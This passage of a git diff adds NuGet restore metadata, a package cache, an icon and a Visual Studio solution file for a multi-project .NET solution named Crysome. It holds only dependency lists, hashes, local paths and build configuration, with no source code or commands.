"ref/netstandard1.3/System.Xml.ReaderWriter.dll", + "ref/netstandard1.3/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/de/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/es/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/fr/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/it/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/ja/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/ko/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/ru/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/zh-hans/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/zh-hant/System.Xml.ReaderWriter.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.xml.readerwriter.4.3.0.nupkg.sha512", + "system.xml.readerwriter.nuspec" + ] + }, + "System.Xml.XDocument/4.3.0": { + "sha512": "5zJ0XDxAIg8iy+t4aMnQAu0MqVbqyvfoUVl1yDV61xdo3Vth45oA2FoY4pPkxYAH5f8ixpmTqXeEIya95x0aCQ==", + "type": "package", + "path": "system.xml.xdocument/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Xml.XDocument.dll", + "lib/netstandard1.3/System.Xml.XDocument.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Xml.XDocument.dll", + "ref/netcore50/System.Xml.XDocument.xml", + "ref/netcore50/de/System.Xml.XDocument.xml", + "ref/netcore50/es/System.Xml.XDocument.xml", + "ref/netcore50/fr/System.Xml.XDocument.xml", + "ref/netcore50/it/System.Xml.XDocument.xml", + "ref/netcore50/ja/System.Xml.XDocument.xml", + "ref/netcore50/ko/System.Xml.XDocument.xml", + "ref/netcore50/ru/System.Xml.XDocument.xml", + "ref/netcore50/zh-hans/System.Xml.XDocument.xml", + "ref/netcore50/zh-hant/System.Xml.XDocument.xml", + "ref/netstandard1.0/System.Xml.XDocument.dll", + "ref/netstandard1.0/System.Xml.XDocument.xml", + "ref/netstandard1.0/de/System.Xml.XDocument.xml", + "ref/netstandard1.0/es/System.Xml.XDocument.xml", + "ref/netstandard1.0/fr/System.Xml.XDocument.xml", + "ref/netstandard1.0/it/System.Xml.XDocument.xml", + "ref/netstandard1.0/ja/System.Xml.XDocument.xml", + "ref/netstandard1.0/ko/System.Xml.XDocument.xml", + "ref/netstandard1.0/ru/System.Xml.XDocument.xml", + "ref/netstandard1.0/zh-hans/System.Xml.XDocument.xml", + "ref/netstandard1.0/zh-hant/System.Xml.XDocument.xml", + "ref/netstandard1.3/System.Xml.XDocument.dll", + "ref/netstandard1.3/System.Xml.XDocument.xml", + "ref/netstandard1.3/de/System.Xml.XDocument.xml", + "ref/netstandard1.3/es/System.Xml.XDocument.xml", + "ref/netstandard1.3/fr/System.Xml.XDocument.xml", + "ref/netstandard1.3/it/System.Xml.XDocument.xml", + "ref/netstandard1.3/ja/System.Xml.XDocument.xml", + "ref/netstandard1.3/ko/System.Xml.XDocument.xml", + "ref/netstandard1.3/ru/System.Xml.XDocument.xml", + "ref/netstandard1.3/zh-hans/System.Xml.XDocument.xml", + "ref/netstandard1.3/zh-hant/System.Xml.XDocument.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.xml.xdocument.4.3.0.nupkg.sha512", + "system.xml.xdocument.nuspec" + ] + }, + "Vestris.ResourceLib/2.2.0": { + "sha512": "RkrGgvcukXrdI9qyA23M7VW/SytjHL8p7rbyEQdCU/LGug2Z5Dtec9c/J0pvT+SzMot+u6jo1nkjMvI0cEhhjA==", + "type": "package", + "path": "vestris.resourcelib/2.2.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "README.md", + "lib/net20/Vestris.ResourceLib.dll", + "lib/net20/Vestris.ResourceLib.xml", + "lib/net35/Vestris.ResourceLib.dll", + "lib/net35/Vestris.ResourceLib.xml", + "lib/net40/Vestris.ResourceLib.dll", + "lib/net40/Vestris.ResourceLib.xml", + "lib/net45/Vestris.ResourceLib.dll", + "lib/net45/Vestris.ResourceLib.xml", + "lib/netstandard2.0/Vestris.ResourceLib.dll", + "lib/netstandard2.0/Vestris.ResourceLib.xml", + "resourcelib-logo.png", + "vestris.resourcelib.2.2.0.nupkg.sha512", + "vestris.resourcelib.nuspec" + ] + }, + "Crysome.Common/1.0.0": { + "type": "project", + "path": "../Crysome.Common/Crysome.Common.csproj", + "msbuildProject": "../Crysome.Common/Crysome.Common.csproj" + }, + "Crysome.Obfuscator/1.0.0": { + "type": "project", + "path": "../Crysome.Obfuscator/Crysome.Obfuscator.csproj", + "msbuildProject": "../Crysome.Obfuscator/Crysome.Obfuscator.csproj" + }, + "Crysome.Server.Core/1.0.0": { + "type": "project", + "path": "../Crysome.Server.Core/Crysome.Server.Core.csproj", + "msbuildProject": "../Crysome.Server.Core/Crysome.Server.Core.csproj" + } + }, + "projectFileDependencyGroups": { + "net9.0-windows7.0": [ + "Costura.Fody >= 5.7.0", + "Crysome.Common >= 1.0.0", + "Crysome.Obfuscator >= 1.0.0", + "Crysome.Server.Core >= 1.0.0", + "Fody >= 6.8.0", + "Microsoft.CSharp >= 4.7.0", + "NAudio >= 2.2.1", + "System.Drawing.Common >= 9.0.0", + "Vestris.ResourceLib >= 2.2.0", + "dnlib >= 4.5.0" + ] + }, + "packageFolders": { + "C:\\Users\\lukas\\.nuget\\packages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages": {}, + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages": {} + }, + "project": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server\\Crysome.Server.csproj", + "projectName": "Crysome.Server", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server\\Crysome.Server.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj": { + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj" + }, + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj": { + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj" + }, + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj": { + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj" + } + } + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "dependencies": { + "Costura.Fody": { + "suppressParent": "All", + "target": "Package", + "version": "[5.7.0, )" + }, + "Fody": { + "include": "Runtime, Build, Native, ContentFiles, Analyzers, BuildTransitive", + "suppressParent": "All", + "target": "Package", + "version": "[6.8.0, )" + }, + "Microsoft.CSharp": { + "target": "Package", + "version": "[4.7.0, )" + }, + "NAudio": { + "target": "Package", + "version": "[2.2.1, )" + }, + "System.Drawing.Common": { + "target": "Package", + "version": "[9.0.0, )" + }, + "Vestris.ResourceLib": { + "target": "Package", + "version": "[2.2.0, )" + }, + "dnlib": { + "target": "Package", + "version": "[4.5.0, )" + } + }, + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + }, + "Microsoft.WindowsDesktop.App.WPF": { + "privateAssets": "none" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + } +} \ No newline at end of file diff --git a/Crysome.Server/obj/project.nuget.cache b/Crysome.Server/obj/project.nuget.cache new file mode 100644 index 0000000..2bc7abe --- /dev/null +++ b/Crysome.Server/obj/project.nuget.cache @@ -0,0 +1,99 @@ +{ + "version": 2, + "dgSpecHash": "9ajm3UtcQoU=", + "success": true, + "projectFilePath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server\\Crysome.Server.csproj", + "expectedPackageFiles": [ + "C:\\Users\\lukas\\.nuget\\packages\\costura.fody\\5.7.0\\costura.fody.5.7.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\dnlib\\4.5.0\\dnlib.4.5.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\fody\\6.8.0\\fody.6.8.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.csharp\\4.7.0\\microsoft.csharp.4.7.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.netcore.platforms\\3.1.0\\microsoft.netcore.platforms.3.1.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.netcore.targets\\1.1.0\\microsoft.netcore.targets.1.1.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.win32.primitives\\4.3.0\\microsoft.win32.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.win32.registry\\4.7.0\\microsoft.win32.registry.4.7.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.win32.systemevents\\9.0.0\\microsoft.win32.systemevents.9.0.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio\\2.2.1\\naudio.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.asio\\2.2.1\\naudio.asio.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.core\\2.2.1\\naudio.core.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.midi\\2.2.1\\naudio.midi.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.wasapi\\2.2.1\\naudio.wasapi.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.winforms\\2.2.1\\naudio.winforms.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.winmm\\2.2.1\\naudio.winmm.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\netstandard.library\\1.6.1\\netstandard.library.1.6.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.native.system\\4.3.0\\runtime.native.system.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.native.system.io.compression\\4.3.0\\runtime.native.system.io.compression.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.native.system.net.http\\4.3.0\\runtime.native.system.net.http.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.native.system.security.cryptography.apple\\4.3.0\\runtime.native.system.security.cryptography.apple.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.osx.10.10-x64.runtime.native.system.security.cryptography.apple\\4.3.0\\runtime.osx.10.10-x64.runtime.native.system.security.cryptography.apple.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl\\4.3.0\\runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.appcontext\\4.3.0\\system.appcontext.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.buffers\\4.3.0\\system.buffers.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.collections\\4.3.0\\system.collections.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.collections.concurrent\\4.3.0\\system.collections.concurrent.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.console\\4.3.0\\system.console.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.diagnostics.debug\\4.3.0\\system.diagnostics.debug.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.diagnostics.diagnosticsource\\4.3.0\\system.diagnostics.diagnosticsource.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.diagnostics.tools\\4.3.0\\system.diagnostics.tools.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.diagnostics.tracing\\4.3.0\\system.diagnostics.tracing.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.drawing.common\\9.0.0\\system.drawing.common.9.0.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.globalization\\4.3.0\\system.globalization.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.globalization.calendars\\4.3.0\\system.globalization.calendars.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.globalization.extensions\\4.3.0\\system.globalization.extensions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io\\4.3.0\\system.io.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io.compression\\4.3.0\\system.io.compression.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io.compression.zipfile\\4.3.0\\system.io.compression.zipfile.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io.filesystem\\4.3.0\\system.io.filesystem.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io.filesystem.primitives\\4.3.0\\system.io.filesystem.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.linq\\4.3.0\\system.linq.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.linq.expressions\\4.3.0\\system.linq.expressions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.net.http\\4.3.0\\system.net.http.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.net.primitives\\4.3.0\\system.net.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.net.sockets\\4.3.0\\system.net.sockets.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.objectmodel\\4.3.0\\system.objectmodel.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection\\4.3.0\\system.reflection.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection.emit\\4.3.0\\system.reflection.emit.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection.emit.ilgeneration\\4.3.0\\system.reflection.emit.ilgeneration.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection.emit.lightweight\\4.3.0\\system.reflection.emit.lightweight.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection.extensions\\4.3.0\\system.reflection.extensions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection.primitives\\4.3.0\\system.reflection.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection.typeextensions\\4.3.0\\system.reflection.typeextensions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.resources.resourcemanager\\4.3.0\\system.resources.resourcemanager.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime\\4.3.0\\system.runtime.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.extensions\\4.3.0\\system.runtime.extensions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.handles\\4.3.0\\system.runtime.handles.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.interopservices\\4.3.0\\system.runtime.interopservices.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.interopservices.runtimeinformation\\4.3.0\\system.runtime.interopservices.runtimeinformation.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.numerics\\4.3.0\\system.runtime.numerics.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.accesscontrol\\4.7.0\\system.security.accesscontrol.4.7.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.algorithms\\4.3.0\\system.security.cryptography.algorithms.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.cng\\4.3.0\\system.security.cryptography.cng.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.csp\\4.3.0\\system.security.cryptography.csp.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.encoding\\4.3.0\\system.security.cryptography.encoding.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.openssl\\4.3.0\\system.security.cryptography.openssl.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.primitives\\4.3.0\\system.security.cryptography.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.x509certificates\\4.3.0\\system.security.cryptography.x509certificates.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.principal.windows\\4.7.0\\system.security.principal.windows.4.7.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.encoding\\4.3.0\\system.text.encoding.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.encoding.extensions\\4.3.0\\system.text.encoding.extensions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.regularexpressions\\4.3.0\\system.text.regularexpressions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.threading\\4.3.0\\system.threading.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.threading.tasks\\4.3.0\\system.threading.tasks.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.threading.tasks.extensions\\4.3.0\\system.threading.tasks.extensions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.threading.timer\\4.3.0\\system.threading.timer.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.xml.readerwriter\\4.3.0\\system.xml.readerwriter.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.xml.xdocument\\4.3.0\\system.xml.xdocument.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\vestris.resourcelib\\2.2.0\\vestris.resourcelib.2.2.0.nupkg.sha512" + ], + "logs": [] +} \ No newline at end of file diff --git a/Crysome.Server/resources/icon.ico b/Crysome.Server/resources/icon.ico new file mode 100644 index 0000000..6a32157 Binary files /dev/null and b/Crysome.Server/resources/icon.ico differ diff --git a/Crysome.sln b/Crysome.sln new file mode 100644 index 0000000..77f7612 --- /dev/null +++ b/Crysome.sln @@ -0,0 +1,104 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.0.31903.59 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crysome.Common", "Crysome.Common\Crysome.Common.csproj", "{A1B2C3D4-0001-0001-0001-000000000001}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crysome.Server.Core", "Crysome.Server.Core\Crysome.Server.Core.csproj", "{A1B2C3D4-0002-0002-0002-000000000002}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crysome.Obfuscator", "Crysome.Obfuscator\Crysome.Obfuscator.csproj", "{A1B2C3D4-0003-0003-0003-000000000003}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crysome.Server", "Crysome.Server\Crysome.Server.csproj", "{A1B2C3D4-0004-0004-0004-000000000004}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crysome.Client", "Crysome.Client\Crysome.Client.csproj", "{A1B2C3D4-0005-0005-0005-000000000005}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crysome.Common.Client", "Crysome.Common.Client\Crysome.Common.Client.csproj", "{C74A43DA-FA2D-43EC-ABD9-78A85951D6C1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A1B2C3D4-0001-0001-0001-000000000001}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Debug|x64.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Debug|x64.Build.0 = Debug|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Debug|x86.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Debug|x86.Build.0 = Debug|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Release|Any CPU.ActiveCfg = Release|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Release|Any CPU.Build.0 = Release|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Release|x64.ActiveCfg = Release|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Release|x64.Build.0 = Release|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Release|x86.ActiveCfg = Release|Any CPU + {A1B2C3D4-0001-0001-0001-000000000001}.Release|x86.Build.0 = Release|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Debug|x64.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Debug|x64.Build.0 = Debug|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Debug|x86.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Debug|x86.Build.0 = Debug|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Release|Any CPU.ActiveCfg = Release|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Release|Any CPU.Build.0 = Release|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Release|x64.ActiveCfg = Release|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Release|x64.Build.0 = Release|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Release|x86.ActiveCfg = Release|Any CPU + {A1B2C3D4-0002-0002-0002-000000000002}.Release|x86.Build.0 = Release|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Debug|x64.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Debug|x64.Build.0 = Debug|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Debug|x86.ActiveCfg = Debug|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Debug|x86.Build.0 = Debug|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Release|Any CPU.ActiveCfg = Release|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Release|Any CPU.Build.0 = Release|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Release|x64.ActiveCfg = Release|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Release|x64.Build.0 = Release|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Release|x86.ActiveCfg = Release|Any CPU + {A1B2C3D4-0003-0003-0003-000000000003}.Release|x86.Build.0 = Release|Any CPU + {A1B2C3D4-0004-0004-0004-000000000004}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + 